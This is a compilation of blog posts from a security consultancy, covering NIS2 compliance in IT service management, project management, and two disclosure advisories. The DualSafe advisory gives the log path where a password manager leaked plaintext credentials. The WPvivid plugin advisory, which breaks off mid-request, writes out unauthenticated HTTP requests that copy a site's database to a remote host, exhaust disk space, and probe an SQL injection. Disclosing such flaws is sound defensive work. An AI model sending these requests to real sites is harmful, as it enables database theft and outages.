Unternehmen, die kritische Dienste an externe Dienstleister auslagern, müssen sicherstellen, dass diese Dienstleister angemessene Sicherheitsmaßnahmen implementieren. NIS2 legt fest, dass Unternehmen die Verantwortung für die Sicherheit ihrer ausgelagerten Dienste nicht delegieren können. Im ITSM bedeutet dies, dass Unternehmen geeignete Mechanismen für das Auslagerungsmanagement etablieren müssen, um sicherzustellen, dass externe Dienstleister die Anforderungen an die Cybersicherheit erfüllen. Die entsprechenden Maßnahmen werden im Supplier sowie im Service Level Management definiert. 

  1. Security Awareness 

Die Sensibilisierung der Mitarbeiter für Cybersicherheit ist ein zentraler Bestandteil der NIS2-Compliance. Unternehmen müssen Schulungsprogramme zur Sicherheitsaufklärung durchführen, um das Bewusstsein und Verständnis für Sicherheitsrisiken zu fördern. Im ITSM ist es wichtig, Security Awareness Trainings in die laufenden Schulungsaktivitäten zu integrieren, um sicherzustellen, dass Mitarbeiter die Bedeutung von Cybersicherheit verstehen und entsprechend handeln. Dabei hat der Service Desk eine Nähe zu den Anwendern und das Relationship Management zu den Kunden, was für die Etablierung und Durchführung von Security Awareness Maßnahmen genutzt werden kann. 

  1. Risikoanalyse 

Eine kontinuierliche Risikoanalyse ist entscheidend für die Identifizierung und Bewertung von Sicherheitsrisiken gemäß den NIS2-Anforderungen. Unternehmen müssen Risikomanagementprozesse implementieren, um potenzielle Bedrohungen zu erkennen und geeignete Gegenmaßnahmen zu ergreifen. Im ITSM sollten Unternehmen regelmäßige Risikobewertungen durchführen und angemessene Sicherheitskontrollen implementieren, um Risiken zu minimieren und die Compliance sicherzustellen. Dies geschieht im Bereich Risk Management

  1. Übergreifende Practices 

NIS2 hat weitreichende Auswirkungen auf verschiedene Aspekte des ITSM und erfordert eine integrierte Herangehensweise an die Cybersicherheit. Dies geschieht durch die Best Practices im Information Security Management und wird durch das Infrastructure and Plattform Management gestützt. Unternehmen müssen sicherstellen, dass ihre ITSM-Prozesse und -Praktiken die Anforderungen von NIS2 erfüllen und eng mit anderen Compliance-Richtlinien und -Standards wie z. B. ISO 27001 abgestimmt sind. Durch eine ganzheitliche Herangehensweise können Unternehmen die Cybersicherheit stärken und die Einhaltung der Vorschriften im IT Asset/Deployment Management sicherstellen. Das dafür notwendige Change Management wiederum bezieht sich auf bewährte Prozesse und Methoden zur systematischen Planung, Steuerung und Umsetzung von Veränderungen in IT Systemen und Services. Ziel ist es, Änderungen kontrolliert und effektiv zu verwalten, um Risiken zu reduzieren und die Zuverlässigkeit der IT Services zu erhöhen. 

NIS kommt: Wir unterstützen Sie bei der Umsetzung. 
Der neue NIS2-Kompass von HiSolutions zeigt Ihnen in einer schnellen Selbstauskunft, ob Ihre Organisation von NIS2 betroffen ist und was Sie tun müssen.

CVE-2024-24272 – DualSafe Password Manager Leaks Credentials

During an investigation, HiSolutions discovered a credential leak of a password manager that was installed as browser extension. After reporting the vulnerability, the vendor was quick to respond and implemented a fix.

Summary

The DualSafe Password Manager by iTop before version 1.4.24 leaks credentials as plaintext in a log file that can be accessed by the local user without knowledge of the master secret (CWE-532). This vulnerability was assigned CVE-2024-24272.

Update to the newest version (at least 1.4.24) as soon as possible and replace potentially leaked credentials.

Vulnerability Details

The following details were produced in a test setup with the vulnerable version 1.4.21 of the DualSafe Password Manager installed in Chrome. After storing and using several credential pairs via the blue extension icon on the top right corner, the log file started showing some entries that contain the plaintext credentials.

Logging is done via a text file in the directory of the browser extension, in this case: C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgbjhdkjmpgjgcbcdlhkokkckpjmedgc\000003.log (file name may vary).

The following image depicts the credential pair stored in DualSafe (right) as well as the log file that contains the same password as plaintext (left).

DualSafe password manager and its log file. Cleartext credentials are marked in the log file.
DualSafe Password Manager leaks plaintext password in log file.

One interesting thing to note is that, while the log file contains some credentials as plaintext in a structure like this one: cacheTabinfoes1_1Þ{"[...]":{"confirmItem":{"pwd":"<password>",[...], "type":"login","uname":"<user>","uri":["<url>"]}}}, there are also similar structures with the key pwd but their value is encrypted. Though the observed log events did not indicate the exact trigger for an entry with a plaintext password, passwords could already be extracted after just a few login attempts.

Usually, the password manager requires a master secret to unlock and access the stored credentials. This vulnerability allows an attacker to harvest stored credentials from the log file without knowing the master secret.

Remediation

iTop announced a fix in version 1.4.24.

Shortly after reporting the vulnerability details to iTop, a fix was implemented and rolled out across Firefox, Edge, and Chrome. Update to the newest version as soon as possible and check for potentially leaked passwords in the described location (the exact path depends on the browser).

Should passwords have been leaked this way, rotate them after updating the extension.

Responsible Disclosure Timeline

  • 04.01.2024 – HiSolutions contacts iTop
  • 30.01.2024 – HiSolutions contacts iTop again after no response
  • 31.01.2024 – iTop responds and requests vulnerability details
  • 31.01.2024 – HiSolutions provides all vulnerability details
  • 01.02.2024 – iTop announces that a fix has been implemented and will be published soon
  • 02.02.2024 – iTop requests a delay before publication to roll out the fix
  • 05.02.2024 – iTop releases 1.4.24 on Firefox and Edge
  • 15.02.2024 – iTop releases 1.4.24 on Chrome
  • 12.03.2024 – HiSolution requests green light for publication
  • 13.03.2024 – iTop accepts and states that 1.4.24 fixes the vulnerability

Credits

This vulnerability was discovered by Paula T., Joshua Z. and Pascal B. (HiSolutions AG). We also thank iTop for their swift response and remediation regarding this vulnerability.

Security by Service Design 

Bilden Service Management und Information Security Management das Dream-Team zur dauerhaften Gewährleistung des Sicherheitsniveaus? Der Security by Service-Design (SxSD) Ansatz adressiert, dass Security in allen Bereichen des Service Managements mitgedacht und mitgelenkt wird – und sorgt so dafür, dass Sicherheit von der ersten Idee eines neuen Service über die Inbetriebnahme und den Regelbetrieb bis zur Außerbetriebnahme gewährleistet wird.  

Von Martin Glaser, Andreas Dassen, Franz Gläser und Robert Manuel Beck

Trotz allgegenwärtig zunehmender Sicherheitsvorfälle wird Security meist immer noch in einem von zwei Modi betrieben: entweder nach dem Gießkannenprinzip der Compliance (Gleiches Maß an Sicherheit für alle Services & Anwendungen) oder nach der Rettungsdienstlogik (Vorfall -> Management Attention -> Aktivismus), bisweilen mühsam getarnt durch das Label der Risikobasiertheit. Bei vielen Unternehmen folgt das IT-Sicherheitsprogramm noch keinem systematischen Grundsatz. 

In der Softwareentwicklung ist Security by Design ein wichtiges Paradigma, das hilft, Sicherheit frühzeitig und ganzheitlich im Code zu verankern. Dies zielt jedoch in der Regel auf einzelne Produkte ab, ist damit aufwendig, immer individuell umzusetzen und vor allem auf die Entwicklungsphase am Anfang des Lebenszyklus beschränkt. Der Ansatz Security by Service Design erweitert das Konzept von der Softwareentwicklung auf den gesamten Lebenszyklus der Services, mithin Einsatzzweck und Daseinsberechtigung der Produkte, also die Service-Erbringung. Für die betriebenen und angebotenen Services kommt somit eine angemessene Security nicht mehr zufällig heraus, sondern wird kontinuierlich an neue Bedrohungen, Technologien oder sonstige veränderte Anforderungen angepasst. 

Verankerung in der Serviceerbringung

Es existiert in der Praxis oftmals kein abgestimmtes Vorgehen zwischen Service Management und Information Security Management

Solange diese Trennung von Service Management und Security fortbesteht, finden im Prinzip zwei getrennte Kämpfe gegen dieselben Windmühlen statt. In Kombination mit fehlendem Business-Know-how auf beiden Seiten führt das dazu, dass die Ziele einerseits nicht aufeinander abgestimmt sind, andererseits Business-Anforderungen immer wieder individuell abgeholt werden müssen. Das wirkt auf alle Beteiligten im Geschäftsprozess dauerhaft zermürbend. 

Es fehlt also an einer Vorgehensweise, um die Serviceerbringung systematisch, ganzheitlich und dauerhaft mit der Security in das gesamte Service-Portfolio einfließen zu lassen. 

Andersherum wäre es hilfreich, Security als Kosten- und Nutzenfaktor durch das Service Management sicht- und messbar zu machen. Das wiederum, um die Kosten zu optimieren und den konkreten Nutzen für das Business herauszustellen. 

Dafür ist ein „Shift Left“ im Sinne einer Vorverlagerung analog zum Bereich der Softwareentwicklung notwendig. Dort hat das Konzept bereits einen großen Rückhalt. Security muss also von Anfang an in die Diskussion mit dem Kunden einfließen. Das verlangt nach einem intensiven Abgleich mit dem Business. So wird das richtige Maß an Sicherheit für jeden Service über den gesamten Lebenszyklus aufgebaut und aufrechterhalten. Dadurch werden Risikobasiertheit, Wirtschaftlichkeit und Nachhaltigkeit zu Qualitätskategorien. Über diese wird mit Kunden verhandelt und nicht zuletzt auch die Preisfindung betrieben. Gelingen kann das jedoch nur durch tiefe Integration in andere Qualitätsprozesse und die eingesetzten Service Management Frameworks

Ist die Zusammenarbeit erfolgreich, ergibt sich für Information Security Management eine höhere Sicherheit. Denn das gewünschte Risikoniveau im Betrieb ist dauerhaft gewährleistet. Das garantiert reduzierten Stress durch weniger Feuerwehreinsätze und eindeutige Verantwortlichkeiten. Aufseiten des Service Managements lässt sich eine erhöhte Kundenzufriedenheit erzielen sowie gegebenenfalls auch ein Alleinstellungsmerkmal auf dem Markt produzieren. 

Das neue Dream-Team 

Wenn es also gelingt, die Ziele von Service Management und Information Security Management aufeinander abzustimmen, kann eine Kette von Sicherheitsanforderungen vom Kunden des IT-Services bis hin zu den von den einzelnen IT-Bereichen erbrachten Services abgebildet werden.  

Dafür müssen Kunden beantworten, welche Anforderungen an Vertraulichkeit, Integrität, Verfügbarkeit und weitere Werte der im Service verarbeiteten Informationen zu stellen sind. Durch Konkretisierung und Einstufung des Schutzbedarfs in einem Service-Level-Agreement (SLA) lassen sich dann reale Maßnahmen in der Serviceerbringung definieren. Das Service-Modell muss dafür das Wissen bereitstellen, welche Bereiche innerhalb der IT an der Leistungserbringung eines jeden Services beteiligt ist. Die Servicekomponente wird durch die Unterstützung von Information Security Management in Maßnahmen pro Bereich definiert. Damit wird das jeweilige Sicherheitslevel gewährleistet. Dazu stellt der Service-Manager mit Unterstützung durch Information Security Management sicher, dass das benötigte Sicherheitsniveau auch im Zusammenspiel der unterschiedlichen Servicekomponenten eingehalten wird. 

Die Sichtweise des Security by Service Designs ist folgende: Angestrebt wird die verlässliche Sicherheit des Services während seines gesamten Lebenszyklus – alle Beteiligten und Stakeholder dabei zu berücksichtigen ist eine Selbstverständlichkeit, egal ob sie innerhalb oder außerhalb der Organisation angesiedelt sind. 

Um das zu erreichen, muss das Service Design explizit auch Sicherheitsfragen berücksichtigen, dabei sowohl Bedrohungen von außerhalb der Organisation als auch die oftmals ignorierten internen Risiken beachten und sich vor allem in einer frühen Phase der Einführung und Entwicklung einbringen. Zusammenfassend gesprochen: Das Service Management muss alle vier Quadranten der von den Phasen Einführung und Betrieb sowie von externen und internen Bedrohungsquellen aufgespannten Matrix betrachten. 

Fazit 

Mittels Security by Service Design wird über den gesamten Service Lifecycle ein angemessenes Level an Sicherheit gewährleistet. So werden Potenziale für Sicherheitsverbesserungen aktiv gestaltet. Das Mittel dazu ist das Service Design, oder umfassender gedacht: das Service Management

Dank Security by Service Design können mithilfe des im Service Management kanalisierten Business-Know-Hows (wo?) gemeinsam mit der technischen Expertise der Security (wie?) Bedrohungen deutlich besser abgewehrt werden. Damit wird durch die Zusammenarbeit von IT-Service Management und Information Security Management Sicherheit effizienter auf das angestrebte Niveau gebracht. 

Warum sind Workplace-Projekte so komplex?

Anyone who fails to plan, is planning to fail: In der Welt der IT-Projekte scheitern immer wieder Workplace-Projekte. Das liegt daran, dass die Komplexität dieser Vorhaben unterschätzt wird. Aber warum sind Digital Workplace-Projekte schwerer zu realisieren als andere IT-Einführungsprojekteund was kann für den Projekterfolg getan werden? 

Eine Studie aus 2022 ergab, dass 17 % aller großen IT-Projekte derart schlecht laufen, dass sie sogar die Existenz von Unternehmen bedrohen. Tatsächlich überschreiten zwei von drei umfangreichen IT-Projekten das ursprüngliche Budget um ein Vielfaches. Dazu verfehlen sie den Zeitplan und bleiben deutlich hinter den gesteckten Projektzielen zurück. Insbesondere bei Projekten im Bereich Digital Workplace fällt auf, dass deren Komplexität oft unterschätzt wird. Welche Faktoren müssen also für eine erfolgreiche Umsetzung betrachtet werden? 

These 

Die Essenz eines Workplace-Projekts liegt in der Synchronisation zwischen Stakeholdern. Stakeholder gibt es zwar in jedem IT-Einführungsprojekt, aber beim Thema Workplace gibt es eine große Zahl unterschiedlicher Interessensgruppen, da in der Regel alle Bereiche des Unternehmens mit dem Digital Workplace arbeiten und somit betroffen sind. Die Komplexität des Workplace-Projekts steigt auch mit den hohen Anforderungen an die Informationssicherheit und den Datenschutz. Eine weitere Komplexität addiert sich durch die vielen Applikationen und ggf. deren Schnittstellen, die gemanagt werden müssen. Zuletzt muss beachtet werden das der Workplace nicht nur digital stattfindet. Sofern ein Unternehmen mehrere Standorte hat, muss auch die dort bereitgestellte Arbeitsumgebung aufeinander abgestimmt sein.  

Umso schwieriger ist es, alle Interessen und Anforderungen im Blick zu behalten. Die Komplexität der Aufgaben der Projektleitung erhöht sich exponentiell mit der Anzahl der vom Projekt betroffenen Bereiche. Welche Strategien und Maßnahmen sind also für die Projektleitung in einem Workplace-Projekt zu empfehlen, um der hohen Komplexität und unterschiedlichen Arbeitsweisen im Unternehmen gerecht zu werden? 

Das Workplace Umfeld 

Maßgeblich gibt es mehrere Faktoren, die das Scheitern eines Workplace-Projekts begünstigen können. Wenn im Projekt keine genauen Rahmenbedingungen herrschen, ist es generell zum Scheitern verurteilt. Egal welches IT-Projekt realisiert werden soll: Es sollte immer eine feste Niederschrift geben, die festlegt welche Ziele im Projekt erreicht werden sollen und vor welchen Hintergründen. Die Festlegung der genauen Anforderungen und Funktionalitäten des neuen Workplace muss gegeben sein, bevor es in die Umsetzung geht. Dann heißt es nicht mitten in der Umsetzungsphase: Back to the drawing board. Zu den schriftlich festgelegten Rahmenbedingungen gehört auch eine klare Rollenverteilung innerhalb des Projekts. Durch diese wird klar, wer welche Teile des Projekts verantwortet, beeinflusst und wo es (direkte) Abhängigkeiten im Workplace-Projekt gibt. 

Mit der Festlegung der konkreten Ziele des Workplace-Projekts ist der Grundbaustein gelegt. Wenn über den Projektverlauf hinweg keine kontinuierliche Kommunikation stattfindet, wird sich darauf keine erfolgreiche Umsetzungsphase aufbauen lassen. Die eben erwähnte Einbindung aller Parteien sollte dazu genutzt werden, einen aktiven Austausch über Anforderungen, Abhängigkeiten, den Projektumfang und die aktuellen Entwicklungen am Laufen zu halten. Indem alle Parteien einbezogen werden und kurze Feedback-Zyklen genutzt werden lässt sich garantieren, dass die vielen Interdependenzen und Abhängigkeiten offengelegt werden. Dadurch arbeiten alle Beteiligten synchronisierter und stellen sich im Workflow nicht gegenseitig Schranken vor die Umsetzung. 

Eine erfolgreiche Kommunikation zwischen Projektsponsoren, Kunden, Endnutzern und IT stärkt die Erfolgschance eines Workplace-Projekts – auch nach dessen Abschluss. Und was kann die Organisation tun, um die Projektleitung zu unterstützen?

  

Die Organisation 

Idealerweise stellt die Organisation der Projektleitung die kompletten Rahmenbedingungen bereit. In diesen sollte festgelegt sein,  

  • welche übergeordneten Ziele die Organisation verfolgt und wie sich das Workplaceprojekt in diese einfügt (Big Picture), 
  • was das zukünftig abgeschlossene Workplaceprojekt bewirken soll, 
  • welche Ergebnisse in welchem Zeithorizont erwartet werden. 

Stehen diese Rahmenbedingungen fest ist es an der Projektleitung, den Erfolg des Workplace-Projekts zu garantieren.

Als Projektleitung den Überblick behalten 

Die Projektleitung muss sich der Komplexität eines Workplace-Projekts bewusst und entsprechend ausgerüstet sein. Oft muss deutlich mehr geleistet werden als bei einer durchschnittlichen IT-Projektleitung. Vor allem im Umgang mit Endnutzern der Organisation und deren Beschwerden muss die Projektleitung Feingespür beweisen, um nicht in Ungnade zu fallen, da die Anforderungen an die Benutzerfreundlichkeit sehr hoch sind.  

Deshalb sollte primär für jegliches Workplace-Projekt eine erfahrene Projektleitung eingesetzt werden. Diese sollte keinerlei inhaltliche Teilprojekte übernehmen, um den Fokus auf die zentrale Projektsteuerung sicherzustellten. Die Projektleitung kann auch durchaus aus mehreren Personen bestehen, die das Großprojekt gemeinsam leiten. Eine geteilte Leitung zeigt meist eine höhere Interdisziplinarität und somit eine bessere Problembewältigung im Projekt auf.  

  

Fazit 

Bei einem Workplace-Projekt gibt es ganz schön viel zu beachten! HiSolutions kennt die richtigen Mittel und Wege, um den Hürden durch die Potenzierung der Stakeholder entgegenzuwirken. Das Digital Workplace-Team weiß, wie ein Workplace-Projekt erfolgreich zwischen Zielen und Abhängigkeiten navigiert werden muss.  

Mehr zum Thema Digital Workplace in unserer Success Story: Auswahl einer internen Kommunikationsplattform für die Evangelisch-Lutherische Kirche in Oldenburg 

Kurioses um NIS2

Das NIS2-Umsetzungsgesetz soll zum 1.10.2024 in Kraft treten. Mit Sanktionen, die an die DSGVO erinnern und umfangreichen Pflichten wirkt die NIS2 auf rund 35.000 Unternehmen und viele von ihnen werden das erste Mal regulatorisch erfasst.

Doch gut neun Monate vor Inkrafttreten des Gesetzes ist noch einiges unklar. Nicht alles davon ist problematisch – vieles aber zumindest kurios. Im Folgenden erklären wir die wesentlichen Details von NIS2 und benennen einige Unklarheiten bezüglich Sektoren, Definitionen, Regulierung digitaler Akteure und Querverweise zu anderen Gesetzen. Im Hinblick auf den neuen Gesetzesentwurf vom 02.01.2024 (noch nicht veröffentlicht) zielt dieser Artikel darauf ab, ein tiefgehendes Bild des aktuellen Gesetzesstandes zu geben und einige Prüfkriterien für den neuen Entwurf vom 02.01.2024 aufzuwerfen.

Der nachfolgende Artikel basiert auf dem Diskussionspapier vom Bundesministerium des Innern und für Heimat vom 27.09.2023.

NIS2-Grobkonzept

Das NIS2-Grobkonzept richtet sich an alle, die noch keinen detaillierten Kontakt mit den Referentenentwürfen zu NIS2 hatten. Die übrigen Leserinnen und Leser können gerne bei der nächsten Überschrift “Sektorendefinition” weiterlesen.

Unter NIS2 werden privatwirtschaftliche Unternehmen, öffentliche Institutionen und Mischformen unter den Begriff “Einrichtung” gefasst. Generell hängt die Betroffenheit unter NIS2 von dem Sektor des Kerngeschäfts und der Größe der jeweiligen Einrichtung ab.

Im Diskussionspapier vom 27.09.2023 werden vom BMI die Sektoren in Anlage 1 & 2 in Form einer Liste definiert. Wenn eine Einrichtung in den dort gelisteten Sektoren tätig ist, muss sie in der Regel im nächsten Schritt basierend auf ihrer Größe klassifiziert werden.

Hier werden zwei Einrichtungsarten unterschieden: “besonders wichtige” und “wichtige” Einrichtungen.

Ein wichtiger Unterschied zwischen besonders wichtigen oder wichtigen Einrichtungen betrifft aktuell die Sanktionshöhe: Besonders wichtige Unternehmen können mit bis zu 10 Mio. € oder 2 % des Jahresumsatzes, wichtige Unternehmen mit bis zu 7 Mio. € oder 1,4 % des Jahresumsatzes sanktioniert werden.

Neben diesem “Standardfall” gelten Ausnahmen für bestimmte Sektoren und Einrichtungsarten, die unabhängig von ihrer Größe in den Geltungsbereich von NIS2 fallen. Die größte Gruppe innerhalb dieser Ausnahme bilden die Betreiber kritischer Anlagen. Sie werden unabhängig der Unternehmensgröße als besonders wichtige Einrichtung erfasst. Ihre Klassifizierung richtet sich nach der Menge der von ihnen versorgten Menschen, der Richtwert liegt bei 500.000 Menschen. Für Betreiber Kritischer Anlagen gelten verschärfte Pflichten unter NIS2.

Sektorendefinition

Das Thema Ernährung

Unter NIS2 werden die Sektoren tabellarisch in einer Liste im Anhang des Gesetzestextes aufgeführt. Auf diese Anlage 1 & 2 wird im Fließtext immer wieder verwiesen. Dabei entstehen unter anderem zwei Diskrepanzen.

Ein erster interessanter Punkt ist, dass Ernährung als Sektor im Bereich der kritischen Anlagen erwähnt wird, aber es letztendlich nicht mehr in die Anlage 1 geschafft hat – wo er der Logik folgend auftauchen müsste. Denn alle Sektoren für die NIS2 gilt und in denen Betreiber kritischer Anlagen tätig sind werden ebenfalls Anlage 1 aufgelistet. Findige Gesetzestextverfolgende wissen außerdem, dass es den Sektor „Produktion, Verarbeitung und Vertrieb von Lebensmitteln“ in Anlage 2 gibt – Anlage 2 gilt aber eben nur für „wichtige“ Einrichtungen und nicht für die Betreiber kritischer Anlagen.

Staatliche Einrichtungen werden endlich inkludiert, oder?

Außerdem gilt NIS2 auf EU-Ebene sehr explizit für die öffentlichen Verwaltungen und Zentralregierungen. Konkret steht dort:

“Unabhängig von der Größe der Einrichtungen gilt diese Richtlinie auch für Einrichtungen der in den Anhang I oder II genannten Art, wenn […] die Einrichtung eine Einrichtung der öffentlichen Verwaltung:

i), von einem Mitgliedstaat gemäß nationalem Recht definierte Einrichtung der öffentlichen Verwaltung der Zentralregierung ist oder

ii), von einem Mitgliedstaat gemäß nationalem Recht definierte Einrichtung der öffentlichen Verwaltung auf regionaler Ebene ist, die nach einer risikobasierten Bewertung Dienste erbringt, deren Störung erhebliche Auswirkungen auf kritische gesellschaftliche oder wirtschaftliche Tätigkeiten haben könnte.” Art. 2 (2)

[Original EU-Richtlinie mit Veröffentlichung vom 27.12.2022

In der deutschen Gesetzgebung sollen die dazugehörigen Einrichtungen laut Fließtext in Anlage 3 definiert werden. Anlage 3 aber wurde bisher im Diskussionspapier nicht mitgeliefert.

Regulierung Digitaler Dienstleistungen

Neben den allgemeinen Sektoren-Definitionen gibt es auch Punkte, die gerade für einige Einrichtungen im IT-Bereich noch unklar bleiben.

Anlage 1 Sektor Informationstechnik und Telekommunikation unterscheidet zwischen den Einrichtungsarten „Anbieter öffentlicher elektronischer Kommunikationsnetze“ und „Anbieter öffentlich zugänglicher elektronischer Kommunikationsdienste“. Ja, auch wir haben hier zweimal die Begriffe vergleichen müssen, sie unterscheiden sich im Kern. Die Krux liegt darin, dass die „Anbieter von Telekommunikationsdiensten oder öffentlich zugänglichen Telekommunikationsnetzen“ die in §30 & §31 definierten Risikomanagement-Maßnahmen nicht umsetzen müssen. Bei dem Abgleich der ersten zwei Begriffe mit dem zweiten Begriffspaar wird jedoch deutlich, dass es nicht genau die gleichen Begriffe sind. Da die Begriffe nicht näher definiert werden, liegt der Gedanke nah, dass sie bedeutungsgleich sind – ob aber diese Annahme vor den möglichen Sanktionen bewahren würde, bleibt unklar.

Im Fließtext des Definitionspapiers wird immer wieder von „Domain-Name-Registry-Dienstleistern“ gesprochen. Diese sind „ein Registrar oder eine Stelle, die im Namen von Registraren tätig ist, insbesondere Anbieter oder Wiederverkäufer von Datenschutz- oder Proxy-Registrierungsdiensten“. In Teil 4 §51-53 werden umfangreiche weitere Pflichten für „Top Level Domain Name Registries“ und „Domain-Name-Registry-Dienstleister“ definiert. In den Einrichtungsarten der Anlage 1 oder 2 werden allerdings nur „TLD-Namensregister“ eingeschlossen. Den sprachlichen “Denglisch”-Mix außen vorgelassen scheint es, als wären die allgemeinen DNR’s in der Anlage 1 oder 2 vergessen worden. Die Kritikalität (also besonders wichtig oder wichtig) der „Domain-Name-Registry-Dienstleistern“ ist somit unklar.

Weiterhin ist auch unklar, wie „Verwaltung für IKT-Dienste“ in das Bild von Sektoren und Teilsektoren gehört. In §35 (2) wird „Verwaltung für IKT-Dienste“ im gleichen Atemzug wie andere Sektoren aus den Anlagen 1 & 2 genannt, aber in der Anlage 1 & 2 taucht die Verwaltung für IKT-Dienste weder auf Sektoren- noch auf Einrichtungsebene auf.

Diese Querverweise zwischen Fließtext und Anhang sind es, die häufig Fragen offenlassen. Doch der Blick sollte nicht nur auf die interne Struktur eines Gesetzes beschränkt bleiben. Auch ist es spannend zu sehen, wie dieses Gesetz mit anderen Rechtsvorschriften zusammenwirkt – ein Aspekt, der im nächsten Abschnitt näher beleuchtet wird.

NIS2 und andere Gesetze

Die Verweise auf andere Gesetze finden häufig in der Sektorendefinition statt.

So wird zum Beispiel unter § 28(4) werden Ausnahmen der Geltung im Bereich Energiewirtschaft definiert. Hier wird auf §5c Energiewirtschaftsgesetz verwiesen.

Auszug vom Gesetz über die Elektrizitäts- und Gasversorgung an der verwiesenen Stelle

Nach detaillierter Recherche fanden wir heraus, dass das Bundesministerium für Wirtschaft und Klimaschutz eine Gesetzesänderung plant. In dieser Änderung sollen die aktuellen §§ 11 Abs. 1a EnWG und Abs. 1b EnWG in den §5c EnWG verschoben werden. Diese Änderung wurde bereits vorausschauend im Diskussionspapier berücksichtigt, eine Fußnote wäre in diesem Fall benutzerfreundlich gewesen. Das aktuelle EnWG schafft aber auch keine Eindeutigkeit, welchen der diversen benannten Einrichtungsarten der Ausschluss aus vielen NIS2 Pflichten gilt.

Ein weiteres Problem sind Verweise auf ungenaue Definitionen, zum Beispiel bei den Gesundheitsdienstleistern. Diese werden als “Erbringer von Gesundheitsdienstleistungen” im Sektor Gesundheit in den Geltungsbereich fallen. Was ein Gesundheitsdienstleister ist, wird im aktuellen Diskussionsentwurf nicht näher definiert. Im NIS2-Gesetzestext vom 27.12.2022 wird an dieser Stelle auf Artikel 3 Buchstabe g der Richtlinie 2011/24/EU des Europäischen Parlaments verwiesen:

g) „Gesundheitsdienstleister“ jede natürliche oder juristische Person oder sonstige Einrichtung, die im Hoheitsgebiet eines Mitgliedstaats rechtmäßig Gesundheitsdienstleistungen erbringt;

Artikel 3 Buchstabe g der Richtlinie 2011/24/EU

Neben dieser schwammigen Definition wurden Gesundheitsdienstleister auch schon unter NIS1 erfasst, allerdings bei der Überführung in KritisV übergangen. Das aktuelle Papier legt nahe, dass Gesundheitsdienstleister nun wieder in den Geltungsbereich fallen.

Bekanntlich gilt für Finanzeinrichtungen ein Dschungel aus Vorgaben der unterschiedlichsten Gesetze (MaRisk, DORA, SWIFT, MiFid, BAIT, VAIT). NIS2 soll allerdings nur für Finanzunternehmen gelten, die nicht unter DORA fallen. Dies wird konkret in §28(1) definiert:  „…Ausgenommen sind Finanzunternehmen im Sinne des Artikel 2 Absatz 2 der Verordnung (EU) 2022/2554 „Für die Zwecke dieser Verordnung werden die in Absatz 1 Buchstaben a bis t genannten Unternehmen zusammen als „Finanzunternehmen“ bezeichnet.“ und Unternehmen, für welche die Anforderungen der Verordnung (EU) 2022/2554 auf Grund von § 1a Absatz 2 Kreditwesengesetz [„(weggefallen)“] oder § 293 Absatz 5 Versicherungsaufsichtsgesetz [existiert nicht] gelten“.  Aktuell sind diese Querverweise noch nicht hilfreich in der Bestimmung des Geltungsbereichs von NIS2 bei den Finanzakteuren.

Das aktuelle Diskussionspapier ist genau das – ein Entwurf. Die genannten Unklarheiten in den Details sind aber im Zweifelsfall essentiell, denn der Aufbau der entsprechenden Systeme für NIS2-Compliance kann für Unternehmen sehr zeitaufwendig sein. Sobald der nächste Entwurf veröffentlicht wurde, werden wir eine neue Bewertung der Texte vornehmen.

Wenn Sie auf dem aktuellen Stand bleiben wollen, abonnieren Sie gerne unsere regelmäßig erscheinenden Newsletter zu Kritis und BCM und besuchen Sie unsere NIS2-Website.

Multiple vulnerabilities in WordPress Plugin – WPvivid Backup and Migration

As part of a customer project, multiple vulnerabilities in the WordPress plugin WPvivid Backup and Migration (Free Edition) were identified and further investigated outside the project to determine the impact in more detail.

The vulnerabilities were identified in version 0.9.68 and probably exist in older versions as well. Upgrade the plugin WPvivid Backup and Migration (Free Edition) to the version 0.9.69 or higher as soon as possible to fix the vulnerabilities.

Background Information

WPvivid Backup and Migration is a WordPress plugin by WPvivid Team and offers backup, migration, and staging as basic features. This plugin has more than 200,000 active installations.

The vulnerabilities

Functions of the WPvivid Backup and Migration plugin in version 0.9.68 can be called remotely without authentication, which allows attackers to exfiltrate the entire WordPress database, for example, or to fill the hard disk of the corresponding system by multiple local copies of the WordPress pages disturbing their availability (CVE-2024-1982).

Furthermore, SQL queries can be manipulated (SQL injection), which means that further database contents can probably be read or manipulated without authentication (CVE-2024-1981).

The plugin is also vulnerable to stored cross-site scripting attacks . For this, a WordPress administrator must execute a manipulated link, for example. This vulnerability was simultaneously published by another researcher and is already tracked under CVE-2021-24994.

Unauthenticated Access to WPvivid Functions (CVE-2024-1982)

The following plugin functions can be called unauthenticated e. g. over the Internet:

  • wp_ajax_nopriv_wpvivid_restore
  • wp_ajax_nopriv_wpvivid_get_restore_progress
  • wp_ajax_nopriv_wpvividstg_start_staging_free
  • wp_ajax_nopriv_wpvividstg_get_staging_progress_free

The function wp_ajax_nopriv_wpvividstg_start_staging_free can be used to trigger the creation of a staging web page. Selected or all files of the WordPress installation are copied into a definable subdirectory. This functionality can be started without prior authentication like this:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

path=custom_name_staging_page&table_prefix=something&custom_dir=something&additional_db={"test":"test"}&root_dir=0

Afterwards, the server response {"result":"success","task_id":"wpvivid-61ba042730a63"} indicates that the action was successful.

By continuously running this function to create staging versions of the web application an attacker can exhaust the systems disk space. Normal operation of the system and especially of the web application can thus no longer be provided.

By specifying a remote system in the parameters of the function wp_ajax_nopriv_wpvividstg_start_staging_free, the contents of the WordPress installation can be exfiltrated. This can be done as in the following example request:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: example.org
[…]
Content-Type: application/x-www-form-urlencoded
 
path=name_existing_staging_page&create_new_wp=1&additional_db={"additional_database_check":"1","additional_database_info":{"db_host":"192.168.0.5","db_name":"something","db_user":"username","db_pass":"password"}}&custom_dir={"database_check":1}&table_prefix=something

Afterwards, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

Thus, an attacker can retrieve sensitive data from WordPress databases.

Update: The vendor fix in version 0.9.69 simply disables the wpvividstg_start_staging_free action, see code changes to includes/staging/class-wpvivid-staging.php here.

SQL Injection in WPvivid Function (CVE-2024-1981)

The parameter table_prefix in the function wpvividstg_start_staging_progress_free appears to be vulnerable to an SQL injection. However, no more in-depth exploitability was performed as part of the research.

The following HTTP request was sent to the plugin function with the parameter value test':

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
